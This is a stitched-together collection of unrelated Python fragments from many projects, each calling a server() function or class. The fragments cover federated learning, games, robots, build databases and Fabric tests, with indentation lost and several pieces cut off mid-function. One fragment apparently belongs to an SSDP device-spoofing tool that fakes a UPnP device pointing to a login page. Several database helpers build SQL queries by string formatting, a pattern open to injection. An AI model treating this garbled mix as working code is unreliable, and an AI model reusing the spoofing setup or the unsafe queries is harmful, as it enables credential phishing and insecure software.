def test_msg_received_str():
"""Testing string received at server from client."""
from server import server
from client import client
server()
client()
assert len(msg_received) > 2
def run():
# Import enviromental variables
load_dotenv(dotenv_path='api/variables.env')
# Init database
from database import Database
database = Database(os.getenv('DATABASE_NAME'))
# Create default access
error, results = database.find(os.getenv('CLIENTS_COLLECTION'), '')
if results and len(list(results)) == 0:
default_client = json.load(open(os.getenv('DEFAULT_TOKEN')))
error = database.insert_one(os.getenv('CLIENTS_COLLECTION'),
default_client)
if error:
print('Default client not created!')
return
print('Default client created!')
# Create necessary folders
for dir in [
os.getenv('DATASETS_PATH'),
os.getenv('INPUT_PATH'),
os.getenv('OUTPUT_PATH'),
os.getenv('ZIP_PATH'),
os.getenv('STORAGE_PATH')
]:
if not os.path.exists(dir):
os.makedirs(dir)
# Start server
from server import server
server(database)
def main():
cfg = load_conf()
if cfg["useSSL"]:
create_ssl_cert([cfg["backendIP"]])
if cfg["dbMode"] and cfg["sqlDatabase"] and cfg["sqlPassword"] and cfg[
"sqlServerIP"] and cfg["sqlUsername"]:
print("Using " + cfg["dbMode"] + " DB")
try:
conn = load_db_conn()[0]
if cfg["dbMode"] == "mssql":
init_mssql_db(conn)
elif cfg["dbMode"] == "mysql":
init_mysql_db(conn)
else:
print(
"Error! No valid db mode found. Please use mssql or mysql")
except Exception as e:
print(e)
else:
print("No db mode set.")
check_existing_token()
create_web_config()
server()
def clientLaunch():
print ("Starting client")
server.server()
print ()
def run_server():
port = host_port_entry.get()
password = host_password_entry.get()
room_name = host_room_name_entry.get()
activeWindows.server_window_isactive = True
server.server(port, password, room_name)
def main():
if(sys.argv[2] == "client"):
parse = sys.argv[3].split(":")
client(sys.argv[1], parse[0], int(parse[1]))
elif (sys.argv[2] == "server"):
server(sys.argv[1], int(sys.argv[3]))
else:
print("Improper input!")
def server_options(self):
system = platform.system()
if(system == 'Windows'):
server.handle_server()
else:
server.server()
def save():
h = host.get()
p = port.get()
q = quiz.get()
ct.append(h)
ct.append(p)
ct.append(q)
#print ct
from server import server
server()
def gencloned(self):
# DEVICETYPE SERVICE TYPE SERVICE ID
os.system('clear')
print('Which domain you want for the device cloned?\n')
domain_rev = input("\nDomain '[NAME].local': ")
# LOGIN ROUTE
os.system('clear')
print('Where the webpage is located?\n'
'folder/./file.ext or file.ext')
web = input("\nWebpage location: ")
FN = utils.get_friendlyname(None)
MF = utils.get_manufacturer(None)
MD = utils.get_model(None)
UUID = utils.get_uuid(None)
urn1 = utils.get_device(None)
urn2 = utils.get_service(None)
urn3 = utils.get_serviceid(None)
xml = ('<?xml version="1.0"?>\r\n'
'<root xmlns="urn:schemas-upnp-org:device-1-0">\r\n'
'\t<specVersion>\r\n'
'\t\t<major>1</major>\r\n'
'\t\t<minor>0</minor>\r\n'
'\t</specVersion>\r\n'
'\t<URLBase>http://' + domain_rev + ':8008</URLBase>\r\n'
'\t<device>\r\n'
'\t\t<presentationURL>http://' + domain_rev + ':8008/' + web +
'</presentationURL>\r\n'
'\t\t<deviceType>' + urn1 + '</deviceType>\r\n'
'\t\t<friendlyName>' + FN + '</friendlyName>\r\n'
'\t\t<modelDescription>Connect to access</modelDescription>\r\n'
'\t\t<manufacturer>' + MF + '</manufacturer>\r\n'
'\t\t<modelName>' + MD + '</modelName>\r\n'
'\t\t<UDN>' + UUID + '</UDN>\r\n'
'\t\t<serviceList>\r\n'
'\t\t\t<service>\r\n'
'\t\t\t\t<serviceType>' + urn2 + '</serviceType>\r\n'
'\t\t\t\t<serviceId>' + urn3 + '</serviceId>\r\n'
'\t\t\t\t<controlURL>/ssdp/notfound</controlURL>\r\n'
'\t\t\t\t<eventSubURL>/ssdp/notfound</eventSubURL>\r\n'
'\t\t\t\t<SCPDURL>/ssdp/notfound</SCPDURL>\r\n'
'\t\t\t</service>\r\n'
'\t\t</serviceList>\r\n'
'\t</device>\r\n'
'</root>')
tfile = open('ssdp.xml', 'w+')
tfile.write(xml)
tfile.close()
os.system('clear')
print('You want to start the server now or exit?')
choose = input("\n1) Start the server or 2) Exit: ")
os.system('clear')
if choose == "1":
server()
elif choose == "2":
BYE()
def main():
"""
The main function of the program if an argument is given it will recognize it and execute the proper function.\n
If no argument is provided it will show a menu with all the available options to the user.
"""
arguments = len(sys.argv) - 1
if arguments == 0:
os.system('clear')
print(
'What you want to do?\n'
'\n1) Generate XML // 2) Start server // 3) Clone // 4) Help // 5) List devices options // 6) Exit\n'
)
choose = input("Selection: ")
os.system('clear')
if choose == "1":
genxml()
elif choose == "2":
server()
elif choose == "3":
clone()
elif choose == "4":
show_help()
elif choose == "5":
show_devices()
else:
BYE()
else:
try:
# Checks the arguments provided to see if are valid.
arguments, _ = getopt.getopt(argument_list, short_options,
long_options)
except getopt.error:
exit()
# Loop through the arguments checking for matches if the argument received is not
# listed it will return an eror and exit the program
for current_argument, _ in arguments:
if current_argument in ("-h", "--help"):
show_help()
if current_argument in ("-g", "--genxml"):
genxml()
if current_argument in ("-s", "--server"):
server()
if current_argument in ("-c", "--clone"):
clone()
if current_argument in ("-l", "--list"):
show_devices()
def start_server(self, *args): args = args[0] name = args[0] if name in self.serverManager.server_data.keys(): if not (name in self.serverManager.servers.keys()): self.serverManager.servers[name] = server(self.serverManager.server_data[name], self.messageQueue) self.serverManager.servers[name].start() elif not self.serverManager.servers[name].is_alive(): self.serverManager.servers[name] = server(self.serverManager.server_data[name], self.messageQueue) self.serverManager.servers[name].start() else: return name + " is already running." else: return name + " is not a valid server name." return "success"
def FAVG_init():
# get IID data list for client list
num_expamples_list_in_clients = [
1000, 2000, 1500, 500, 3000, 1000, 1000, 2000, 1500, 2000
]
client_train_data_list, client_test_data_list, server_test_dataset = generate_clients_data(
num_expamples_list_in_clients,
num_clients=10,
IsIID=True,
batch_size=100,
tt_rate=0.3)
# experiment model
model = mnist_model(comp_model=False)
# set dataset for server
server_0 = server(test_dataset=server_test_dataset, server_model=model)
# client set list
clients_list = []
# set dataset for clients
client_name_list = list('client_{}'.format(i) for i in range(10))
for i in range(len(num_expamples_list_in_clients)):
client_data_dict = {
'train': client_train_data_list[i],
'test': client_test_data_list[i]
}
clients_list.append(
client(local_dataset=client_data_dict,
client_name=client_name_list[i],
local_model=model))
return server_0, clients_list
def queryDB(db, selectArg, fromArg, whereArg, where):
'''
queryDB:
A pretty specific query to the SQL DB, just used to save myself repetetive typing, and to make
some code a little cleaner. Not really general enough for external use, what you probably want
is server.Command(str) or bugzServer.Command(str).
'''
if db == None:
db = server.server()
db.Connect()
if type(where) == str:
appendString = whereArg + "=" + where[:]
elif type(where) == list:
appendString = "("
for cycle in where:
if type(cycle) == int:
appendString += "%s=%s OR " % (whereArg, str(cycle))
elif type(cycle) == str:
appendString += "%s='%s' OR " % (whereArg, cycle)
appendString = appendString[:-4] + ")"
return db.Command('''SELECT %s FROM %s WHERE %s''' %
(selectArg, fromArg, appendString))
def __init__(self, host_server, port_server, max_connections, max_bytes, first,game):
self.first = first
self.game = game
if(first==True):
self.server = client(host_server,port_server, max_bytes)
else:
self.server = server("",port_server,max_connections,max_bytes)
def _connect():
s = server.server()
errmsg = s.Connect()
if type(errmsg) == type(""):
print errmsg
raise Exception, "ezLogDB: couldn't connect to mysql server: " + errmsg
return logDB.logDB(s)
def start(self, board, camera): self.hello = "hello" test = "test" self.board = board self.camera = camera self.webServer = server.server(80, self.board, self.camera) self.webServer.start(True)
def __init__(
self,
fun_fp,
T,
means, # M*K
alpha,
reward='Gaussian'):
self.M = means.shape[0]
self.K = means.shape[1]
self.local_means = means
self.reward_type = reward
self.alpha = alpha
self.T = T
self.C = 1
self.comm = 0
self.global_means = np.sum(self.local_means, axis=0) / self.M
self.clients = [
client(index=i,
thorizon=self.T,
narms=self.K,
nclients=self.M,
palpha=self.alpha,
fp=fun_fp) for i in range(self.M)
]
self.server = server(narms=self.K, nclients=self.M)
def __init__(self, name, M0b=18, M0f=23, M1b=24, M1f=25, T1=4, E1=17, simulation=False):
#GPIO: 4 17 21 22
#pin : 7 11 13 15
#GPIO: 18 23 24 25
#pin : 12 16 18 22
self.logger = logging.getLogger('myR.rover')
self.name = name
self.version = 1
self.simulation = simulation
self.ip = '192.168.0.10'
self.speed = 100 # [mm/s]
self.speedMax = 1000 # [mm/s]
self.voltage = 6 # [V]
self.mass = 2 # [Kg]
self.Lenght = 180 # [mm]
self.wheelR = 32 # [mm]
self.time360 = 2 # [sec]
self.data = datacollector()
self.camera = camera(self.data)
self.camserver = camserver(self.data)
self.sensor = us_sensor('S1', T1, E1, self.data)
self.motorLeft = DCmotor('MLeft', M0b, M0f, 11, 12)
self.motorRight = DCmotor('MRight', M1b, M1f, 13, 14)
self.rc = rc(self.data)
self.server = server(self.data)
def main():
db = server.server()
try:
db.Connect()
except:
print "Could not connect to database. Aborting"
sys.exit(1)
#result = db.Command('''SELECT id FROM release_cycle WHERE processed="N"''')
#cycleResults = map(lambda x: int(x['id']), result)
#result = db.Command('''SELECT id FROM merged WHERE %s''' % (appendString))
#return result
result = queryDB(db, 'id', 'release_cycle', 'processed', '"N"')
idList = map(lambda x: int(x['id']), result)
result = queryDB(db, 'id', 'merged', 'release_cycle_id', idList)
idList = map(lambda x: int(x['id']), result)
result = queryDB(db, 'id', 'combined', 'merged_id', idList)
idList = map(lambda x: int(x['id']), result)
result = queryDB(db, 'build_id', 'release_request', 'combined_id', idList)
idList = map(lambda x: int(x['build_id']), result)
result = queryDB(db, 'tag', 'build', 'id', idList)
resultList = map(lambda x: str(x['tag']), result)
for result in resultList:
print result
def install(self): ret = super(xen_driver, self).install() if ret: return ret # get server object to work with srv = server.server(self.server) # see if it's already installed ret = self.__installed(srv) if ret == errors.DRIVER_ALREADY_INSTALLED: return ret # get distro distro = srv.get_remote_distro() if distro == "redhat": # get YUM package (exit_code,_,_) = srv.do_execute( "yum -y install xen xen-libs kernel-xen" ) if exit_code != 0: return errors.throw(errors.DRIVER_INSTALL_FAIL) return errors.throw(errors.ERR_SUCCESS) return errors.throw(errors.DRIVER_OS_NOT_SUPPORTED)
def simulate_game(
self,
team_a: str,
team_b: str,
repetition: int = 10000,
season_of_A: int = 2020,
season_of_B: int = 2020,
):
"""
Return the probabilities of each team winning the matchup, the predicted scores, and the probability of them going to overtime.\n
Arguments :
team_a (str) : full team name, or team abbreviation, or partial string of team name of the first team.
\n
team_b (str) : full team name, or team abbreviation, or partial string of team name of the second team.
\n
repetition (int): how many times to repeat the simulation (by default, 10,000) to output average sample probabilities
that will approach the real probabilities by Central Limit Theorem.
\n
season_of_A (int) : which seasonal-version of team A to use for simulation.
\n
season_of_B (int) : : which seasonal-version of team A to use for simulation.
"""
return server.simulate(server(), team_a, team_b, repetition,
season_of_A, season_of_B)
def form_delete():
print(request.data)
if request.method == 'DELETE':
name = request.form['Title']
ser = server()
ser.delete(name,myclient)
return 'OK'
def __init__(self): #this function will do what is necessary to load preferences, create an empty server, #etc, etc self.serverlist = [] # self.s = server.server(self.tk, hostname='irc.synirc.org', nick='zobzan' ) self.createtk() self.s = server.server(self.tk, hostname='irc.synirc.org', nick='zobzan' )
def writeContent(self):
self.db = server.server()
err = self.db.Connect()
if type(err) == ErrType:
self.writeError(err)
return
#else
self.bugzDB = bugzServer.server()
err = self.bugzDB.Connect()
if type(err) == ErrType:
self.writeError(err)
self.db.Close()
return
#else
self.pyroServer = pyroServer.server()
err = self.pyroServer.Connect()
if type(err) == ErrType:
self.writeError(err)
self.pyroServer.Close()
return
#else
self.realWriteContent()
self.db.Close()
self.bugzDB.Close()
self.pyroServer.Close()
return
def bad_leader_is_elected_i(k=1):
global num_of_times
global mediator_server
num_of_times = k
servers = []
servers_threads = []
# initiate and run mediator
med_th = threading.Thread(target=mediator_server.work)
med_th.start()
# initiate and run servers
for i in range(N):
servers.append(server(host, port, i, ideal_functionality))
servers_threads.append(threading.Thread(target=servers[-1].start_work))
for s in servers_threads:
s.start()
while True:
states = []
for s in servers:
states.append(s.get_stage())
if states.count("DECIDED") >= N - F:
print("*****decision has made!****")
for s in servers:
s.set_quit()
mediator_server.set_quit()
exit(1)
def activate(self):
ret = super(xen_driver, self).activate()
if ret: return ret
# get server object to work with
srv = server.server(self.server)
# get the kernel number from the grub config
(_,stdout,_) = srv.do_execute(
"/usr/bin/env grep -E \"^[ ]*title\" %s | " %
glob.config.get("paths", "grub_config") +
"/usr/bin/env grep -B 1000 xen | /usr/bin/env wc -l"
)
grub_number = int(stdout[0])-1
# set the xen to boot as the default kernel
srv.do_execute(
"/usr/bin/env sed -r \"s/^[ ]*default[ ]*=.*$/default=%s/g\" " %
grub_number +
"-i %s" % glob.config.get("paths", "grub_config")
)
# reboot if necessary
if self.reboot:
# backgrounded, just in case it matters
srv.do_execute("%s -r now &" % glob.config.get("paths", "shutdown"))
return errors.throw(errors.ERR_SUCCESS)
def __init__(self):
super().__init__()
self.server = server.server()
self.server.start()
print("SERVER OK")
self.aiser = ais.AIS()
self.aiser.start()
print("AISER OK")
mv = mavlink.mavlink()
self.mavlinker = mv
self.mavlinker.pid.setSampleTime(T)
@mv.vehicle.on_message('RANGEFINDER')
def listener(self, name, message):
stt = fileHandler.loadJsonFromFile('state.json')
stt["dph"] = message.distance
fileHandler.saveStateToFile(stt)
@mv.vehicle.vehicle.on_message('GLOBAL_POSITION_INT')
def listener(self, name, message):
stt = fileHandler.loadJsonFromFile('state.json')
stt["lng"] = message.lon
stt["lat"] = message.lat
stt["heading"] = message.hdg
stt["vx"] = message.vx
stt["vy"] = message.vy
fileHandler.saveStateToFile(stt)
# self.mavlinker.arm()
print("MAVLINKER OK")
self.itercnt = 0
def getRequestedVersions(self):
'''Release build. Build a dict. <collection_name>: fully qualified path to tarball'''
retdict = {}
db = server.server()
db.Connect()
results = db.Command(
'SELECT name,version from Mvl6Cfg.RequestedCollections WHERE breq_id=%s'
% self.ReleaseID)
for result in results:
cname = result['name']
cver = result['version']
buildresults = db.Command(
'''SELECT filename, buildtag FROM Mvl6Cfg.Collections c, Mvl6Cfg.Builds b WHERE \
cname='%s' and version=%s and c.builds_id=b.id''' % (cname, cver))
for bresult in buildresults:
filename = bresult['filename']
buildtag = bresult['buildtag']
fqpath = os.path.join('/mvista/dev_area/mvl6', buildtag,
filename)
if os.path.exists(fqpath):
retdict[cname] = fqpath
break
return retdict
def forms():
print(request.data)
if request.method == 'GET':
name = request.form['Title']
ser = server()
ser.getPersonMessage(name,myclient)
return 'OK'
def new_game_menu():
pygame.init()
pygame.display.set_caption('Server waiting room')
window_surface = pygame.display.set_mode((800, 600))
background = pygame.Surface((800, 600))
background.fill(pygame.Color('#000000'))
manager = pygame_gui.UIManager((800, 600))
schetchik_box = pygame_gui.elements.UILabel(relative_rect=pygame.Rect(
(350, 190), (100, 50)),
text='1 user',
manager=manager)
ip_port_box = pygame_gui.elements.UITextEntryLine(
relative_rect=pygame.Rect((320, 250), (160, 50)), manager=manager)
ip_port_box.text = server.get_ip()
start_game_button = pygame_gui.elements.UIButton(relative_rect=pygame.Rect(
(350, 310), (100, 50)),
text='Start game',
manager=manager)
server.server()
clock = pygame.time.Clock()
is_running = True
while is_running:
time_delta = clock.tick(60) / 1000.0
for event in pygame.event.get():
if event.type == pygame.QUIT:
is_running = False
manager.process_events(event)
if event.type == pygame.USEREVENT:
if event.user_type == pygame_gui.UI_BUTTON_PRESSED:
if event.ui_element == start_game_button:
# is_running = False
while server.STATE_GAME != 2:
pass
return 'go'
manager.update(time_delta)
window_surface.blit(background, (0, 0))
manager.draw_ui(window_surface)
draw_text('main menu', pygame.font.SysFont(None, 20), (255, 0, 0),
window_surface, 20, 20)
pygame.display.update()
def __init__(self, **kwargs): super(Game, self).__init__(**kwargs) self.players = [] self.player_count = 0 self.animals = [] self.vision = Vision() self.server = server(self.send_status, self.add_player, self.remove_player) self.server.main()
def _getLaunchCommand(self):
db = server.server()
db.Connect()
result = db.Command(
'SELECT launchCmd FROM Mvl6Cfg.MSDs m WHERE m.name="%s"' %
self._MSDName)[0]['launchCmd']
db.Close()
return result
def _getKernelVersion(self):
db = server.server()
db.Connect()
result = db.Command(
'SELECT kernelVer FROM Mvl6Cfg.MSDs m WHERE m.name="%s"' %
self._MSDName)[0]['kernelVer']
db.Close()
return result
def __init__(self, connect_callback, recvd_data):
super(serv_interface, self).__init__()
self.connect_signal.connect(connect_callback)
self.data_signal.connect(recvd_data)
self.server_obj = server.server(connect=self.connect_signal,
data_recd=self.data_signal)
def create_global(self, args):
args = self.args(args)
projectname = self.get_from_args('project', args)
server('project do initialize -p name=' + projectname).start_command()
server('html do create file -p name=index title=Accueil project=' +
projectname + ' content=<h1>|Hello|Je|suis|sur|le|projet|qui|s\'appel|' + projectname + '|</h1>') \
.start_command()
server('php do create file -p name=script1 project=' +
projectname).start_command()
server('css do create file -p name=style project=' +
projectname).start_command()
server('js do create script -p name=script1 project=' +
projectname).start_command()
def client(msg):
c = server()
r = c.send(None)
r1 = c.send(msg)
print('r:%s' % r)
#c.send(msg)
print('r1:%s' % r1)
c.send(msg)
def main():
"""
Main event loop that launches a Clue-Less server and listens for incoming
connections and messages from clients.
"""
s = server.server('192.168.100.14', 4004)
#s = server.server('10.0.1.10', 4004)
while True:
try:
# Accept new connections
if s.acceptingConnections:
while True:
try:
conn, addr = s.accept()
except:
break
s.acceptConnection(conn)
# Read from connections
for name, conn in s.users.items():
try:
r = conn.recv(1024).strip()
except socket.error:
continue
message = s.decrypt(r)
if '::' in message:
splt = message.split('::')
if splt[0] == 'function':
splt2 = splt[1].split(':')
if splt2[0] == 'createNewGame':
s.createNewGame()
elif splt2[0] == 'joinGame':
s.joinGame(name, splt2[1])
elif splt2[0] == 'ready':
s.addReadyPlayer(name)
elif splt2[0] == 'start':
s.startGame(name)
elif splt2[0] == 'movePlayer':
s.handleMove(name,splt2[1])
elif splt2[0] == 'endTurn':
s.endTurn(name)
elif splt2[0] == 'makingSuggestion':
s.handleSuggestion(name,splt2[1])
elif splt2[0] == 'revealCard':
s.revealCard(name,splt2[1],splt2[2])
elif splt2[0] == 'makingAccusation':
s.handleAccusation(name,splt2[1])
elif splt[0] == 'message':
s.broadcastMessageToAll(0, '%s> %s' % (name, splt[1]))
else:
if not message:
# Empty string is given on disconnect
s.removePlayer(name)
time.sleep(.1)
except (SystemExit, KeyboardInterrupt):
break
def runAll(self):
count = 1
serv = server('192.168.2.103',52000)
serv1 = server('192.168.2.103',52002)
serv2 = server('192.168.2.103',52001)
accel = accelerometer()
meas = measure()
bAndT = batteryandtemp()
print bAndT.Batt[0]
print bAndT.Temp[0]
print bAndT.stopBase[0]
print bAndT.stopRadiom[0]
thread1 = threading.Thread(target=serv.listun,args=(0, accel,meas,bAndT))
thread2 = threading.Thread(target=serv1.listun,args=(1,accel,meas,bAndT))
thread3 = threading.Thread(target=serv2.listun,args=(2,accel,meas,bAndT))
thread1.start()
thread2.start()
thread3.start()
while count == 1 :
serv.data = map(TramAction, serv.dataT)
self.currentState.run(serv,serv2,accel,meas,bAndT)
if((bAndT.Batt[0] != 0.0 and bAndT.Batt[0] < 11.75) or (bAndT.Temp[0] != 0.0 and bAndT.Temp[0] > 40) or int(bAndT.stopBase[0]) == int(1.0) or int(bAndT.stopRadiom[0]) == int(1.0)) :
serv.dataT[0] = (str("shutdown"))
serv.data = map(TramAction, serv.dataT)
if str(serv.data[0]) == str('measure'):
serv2.wait=1
self.currentState = self.currentState.next(serv.data[0])
if(thread1.isAlive() == False) :
thread1 = threading.Thread(target=serv.listun,args=(0, accel,meas,bAndT))
thread1.start()
if(thread2.isAlive() == False) :
thread2 = threading.Thread(target=serv1.listun,args=(1,accel,meas,bAndT))
thread2.start()
if(thread3.isAlive() == False) :
thread3 = threading.Thread(target=serv2.listun,args=(2,accel,meas,bAndT))
thread3.start()
def main(): #print "[b]roadcast or [l]isten? Why not both!" print "Looking for already existing network of elevators" heis = client() try: result = 0 for i in range(1): # Try 3 times to connect result = heis.start() if result == 2: # print "DURR" break elif result == 0: while heis.alive: sleep(0.2) print "Server died, my turn to take over" synch = heis.server_synch ip = heis.my_address hardware = heis.elevator_hardware heis.delete() heis = server(synch[0].keys(), synch[0], ip, synch[1], hardware) print "Takin ova" heis.start() break if result == 1: print "I am now master" ip = heis.my_address hardware = heis.elevator_hardware heis.delete() heis = server(my_ip=ip, elevator_hardware=hardware) heis.start() except: print "FAIL" print sys.exc_info()[0] print traceback.print_tb(sys.exc_info()[2]) heis.delete() heis.delete_driver() exit()
def __init__(self):
#read glade file
self.builder = gtk.Builder()
self.builder.add_from_file("rad_gui.glade")
#init server
self.server = server.server(self,on_new_client_callback,on_recv_msg_callback)
self.server.start()
#get the main window, and connect all eventes
self.window = self.builder.get_object("MainForm")
if self.window:
self.builder.connect_signals(self)
self.window.show()
def server(args):
"""
Creates a server and sends all inputs to connected clients
"""
# Create the server object
test = sillystream_server.server()
# Start the server in a thread
test.start_thread(**args)
# In python 2x you need to send a ctrl-d to flush the buffer
# and send everything you have typed and hit enter on
for send in sys.stdin:
# Python 2x reads in unicode weird
if (sys.version_info < (3, 0)):
send = send.decode(constants.ENCODEING)
# Send any input
test.write(send)
def run(self):
s = server(self.host, self.port, self.username, None)
try:
if(not s.has_dir(self.path)):
s.mkdir(self.path)
s.init_git(self.path)
s.add_remote(self.path, "github", "git://github.com/" + self.gh_username + "/" + self.repo + ".git")
if not ("github" in s.get_remotes(self.path)):
s.add_remote(self.path, "github", "git://github.com/" + self.gh_username + "/" + self.repo + ".git")
s.pull(self.path, "github", self.branch)
print s.stdout + "\n========\n\n" + s.stderr
except Exception as ex:
print ex.__str__()
def add_once(self, host, port, selfreg=False, suggested=False, persistent=False, force=False, checkport=True, file=None, quicktest=False): # add server if it doesn't already exist, return (serverobject, existed) if (not force) and self._isbanned(host, port): debug.msg(serverlist.DBGTAG_REFUSED, "refused a banned server at %s:%d" % (host, port)) return None, False else: if checkport and (port < 0 or port > 65534): debug.msg(serverlist.DBGTAG_INVALIDPORT, "trying to add a new server with an invalid port: %s:%d" % (host, port)) return s = self.find(host, port) if s: existed = True else: s = server(host, port) self._append(s) existed = False if selfreg: s.selfreg = True # whether this server has registered itself to gamemod (and not arrived via sauerbraten.org) if (not existed) and suggested: s.suggested = True # whether this server has been suggested to gamemod and was unknown before (and not arrived via sauerbraten.org) if persistent: s.persistent = True # whether this server should never be kicked from the pending servers list if file: s.fromfile = file if (not existed) and quicktest: s.quicktest = True # whether this server should be tested for registration quickly (= kick it if it does not already reply within one request and config.PING_INTERVAL) return s, existed
def train(num_training=20, num_test=10):
input_files = glob.glob('MovieReviews/txt_sentoken/pos/*.txt')
s = server(MAX=int(sys.argv[1]))
A = [(inp, 'pos') for inp in input_files[0:num_training]]
input_files = glob.glob('MovieReviews/txt_sentoken/neg/*.txt')
A.extend([(inp, 'neg') for inp in input_files[0:num_training]])
s.addJobs(A)
#print A
print "Traing classifier on the following files: "
#print "File name file type"
headers = ["File Name", "file review type"]
table = zip([i[0][30:len(i[0])-1] for i in A], [i[1] for i in A])
print tabulate(table, headers, tablefmt="grid")
"""
for i in A:
print i[0][26:len(i[0])-1],
print " ",
print i[1]
"""
training = s.start()
cl = NaiveBayesClassifier(training)
return cl
def cron_daily(self):
# get servers
ac = api.api_call("server_list", {})
ret = ac.execute()
if ret != errors.ERR_SUCCESS:
return ret
servers = ac.output()
# loop servers
for remote_server_dict in servers:
# nothing update on master
if remote_server_dict["parent_server_id"] == 0:
continue
# master
server_dict = self.get_dict()
# slave
server_dict["remote_server"] = remote_server_dict
# call its cron_daily command
server_obj = server(server_dict)
ret = server_obj.cron_daily()
if ret != errors.ERR_SUCCESS:
return ret
def main():
args = parser.parse_args()
server(args.ip[0], args.port[0], args.channel[0], LOCATION_FILE).run()
def run(self):
server('localhost', 3001, communication=self.communication)
@server()
@mock_streams("both")
def test_warn_only_does_not_imply_hide_everything(self):
run("ls /simple", warn_only=True)
assert sys.stdout.getvalue() != ""
class TestMultipleOKReturnCodes(FabricTest):
@server(responses={"no srsly its ok": ["", "", 1]})
def test_expand_to_include_1(self):
with settings(quiet(), ok_ret_codes=[0, 1]):
eq_(run("no srsly its ok").succeeded, True)
slow_server = server(responses={"slow": ["", "", 0, 3]})
slow = lambda x: slow_server(raises(CommandTimeout)(x))
class TestRun(FabricTest):
"""
@server-using generic run()/sudo() tests
"""
@slow
def test_command_timeout_via_env_var(self):
env.command_timeout = 2 # timeout after 2 seconds
with hide("everything"):
run("slow")
@slow
#! /usr/bin/python
# -*- coding:utf-8 -*-
import os
import sys
sys.path.append(os.path.abspath(os.path.abspath(".") + os.sep + ".."))
from server import server
if __name__ == "__main__":
_server = server(dbserver="localhost", svcname=11810, usr="******", passwd="admin")
_server.run(10086, 10)
elif (recv_data== "ConnectionEstablishmentInformation"):
#data will have URL and IP adress
URL=data[0]
ip_address=data[1]
print "Transferring %s data to %s"%(URL, ip_address)
#Download the data and Send the data to the ip address specified
my_list=["Download_file", 0]
sock.sendto(repr(my_list), value.addr)
ack, addr=sock.recvfrom(1024)
if (ack=="Download_file_ack"):
k.setblocking(0)
# Call the interface function to download the file and send it to the specified IP address
ret=server.server(URL, ip_address)
k.setblocking(1)
if ret==0:
print "Done transferring data"
list2=["TransferProvided", 0]
sock.sendto(repr(list2), network_addr)
elif (recv_data =="TransferAck"):
print "Releasing resources"
# Make this a non blocking socket again
k.setblocking(0)
except KeyboardInterrupt:
s.close()
k.close()
# Der oprettes henvisninger til klasser så de kan bruges som argumenter til
# andre metoder
clients = server.clients()
cv = threading.Event()
# En tråd til at sende seriel data til klienterne oprettes
sender = server.serialSendToClients(cv, clients, "Consumer",)
sender.setDaemon(True)
sender.start()
# En tråd til at modtage seriel data fra bilen oprettes
serial = server.serial(cv, ser, sender)
serial.setDaemon(True)
serial.start()
print "Server started (Port: %d)," %PORT
while True:
# Der oprettes en tråd for hver klient der tilslutter
conn, addr = s.accept()
clients.addClient(conn, addr)
th = server.server(args=(conn, addr, clients))
th.setDaemon(True)
th.start()
import sys
import server
if len(sys.argv) < 3:
print "Usage is filename <ip> <port>"
exit()
ip = sys.argv[1]
port = int(sys.argv[2])
#connect to my drone that is on IP =ip and open a port on the panda board to listen to my commands
#the panda board recieves my commands on the port passed to the server function and relay this commands to the real drone
server.server(ip, port)
def run(self):
print "Start listening to Pd..."
server('localhost', 3001, communication=self.communication)
print "Stopped listening to Pd."
def __init__(self):
gobject.GObject.__init__(self)
self.my_server=server()
self.my_server.init(os.getcwd())
self.my_server.statusicon.connect('popup-menu', self.on_status_icon_right_click)
self.my_server.setup_gui(self.gui_sim_start,self.gui_sim_stop)
if running_on_linux()==True:
DBusGMainLoop(set_as_default=True)
self.bus = dbus.SessionBus()
self.bus.add_match_string_non_blocking("type='signal',interface='org.my.opvdm'")
self.bus.add_message_filter(self.adbus)
else:
self.win_pipe=win_pipe()
self.win_pipe.connect('new-data', self.win_dbus)
self.win_pipe.start()
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
#self.window.set_size_request(-1,1000)
self.window.set_border_width(10)
self.window.set_title(_("Organic Photovoltaic Device Model (www.opvdm.com)"))
splash=splash_window()
splash.init()
temp_error=ver_error()
print temp_error
if len(temp_error)>0:
md = gtk.MessageDialog(self.window,gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_ERROR, gtk.BUTTONS_CLOSE, temp_error)
md.run()
md.destroy()
self.undo_list=undo_list_class()
self.undo_list.init()
self.experiment_window=None
self.fxexperiment_window=None
self.qe_window=None
self.win_list=windows()
self.win_list.load()
self.config=config()
#table = gtk.Table(3,6,False)
self.window.set_icon_from_file(os.path.join(get_image_file_path(),"image.jpg"))
self.show_tabs = True
self.show_border = True
self.menu_items = (
( _("/_File"), None, None, 0, "<Branch>" ),
(_("/File/_New simulation"), "<control>N", self.callback_new, 0, "<StockItem>", "gtk-new" ),
(_("/File/_Open simulation"), "<control>O", self.callback_open, 0, "<StockItem>", "gtk-open" ),
( _("/File/_Export data"), None, self.callback_export, 0, "<StockItem>", "gtk-save" ),
( _("/File/Import data"), None, self.callback_import, 0 , "<StockItem>", "gtk-harddisk"),
( _("/File/Import from library"), None, self.callback_import_from_lib, 0 , "<StockItem>", "gtk-harddisk"),
( _("/File/Quit"), "<control>Q", gtk.main_quit, 0, "<StockItem>", "gtk-quit" ),
( _("/_Simulate"), None, None, 0, "<Branch>" ),
( _("/Simulate/Run"), None, self.callback_simulate, 0, "<StockItem>", "gtk-media-play" ),
( _("/Simulate/Parameter scan"), None, self.callback_scan , 0, None ),
( _("/Simulate/Start cluster server"), None, self.callback_start_cluster_server , 0, None ),
( _("/_View"), None, None, 0, "<Branch>" ),
( _("/_Plots"), None, None, 0, "<Branch>" ),
( _("/Plots/Plot simulation result"), None, self.callback_plot_select, 0, "<StockItem>", "gtk-open"),
( _("/_Plots/"), None, None, 0, "<Separator>" ),
( _("/_Help"), None, None, 0, "<LastBranch>" ),
( _("/_Help/Help Index"), None, self.callback_help, 0, "<StockItem>", "gtk-help" ),
( _("/_Help/About"), None, self.callback_about_dialog, 0, "<StockItem>", "gtk-about" ),
)
pos=0
self.menubar = self.get_main_menu(self.window)
#a = (( "/Plots/Plot after simulation", None, self.callback_plot_after_run_toggle, 0, "<ToggleItem>" ), )
#self.item_factory.create_items( a, )
#a = (( "/Plots/One plot window", None, self.callback_set_plot_auto_close, 0, "<ToggleItem>" ), )
#self.item_factory.create_items( a, )
#table.show()
self.window.connect("destroy", gtk.main_quit)
self.tooltips = gtk.Tooltips()
self.window.set_size_request(-1, 780)
main_vbox = gtk.VBox(False, 5)
main_vbox.set_border_width(1)
self.window.add(main_vbox)
#window.add(table)
main_vbox.show()
toolbar = gtk.Toolbar()
toolbar.set_style(gtk.TOOLBAR_ICONS)
toolbar.set_size_request(-1, 50)
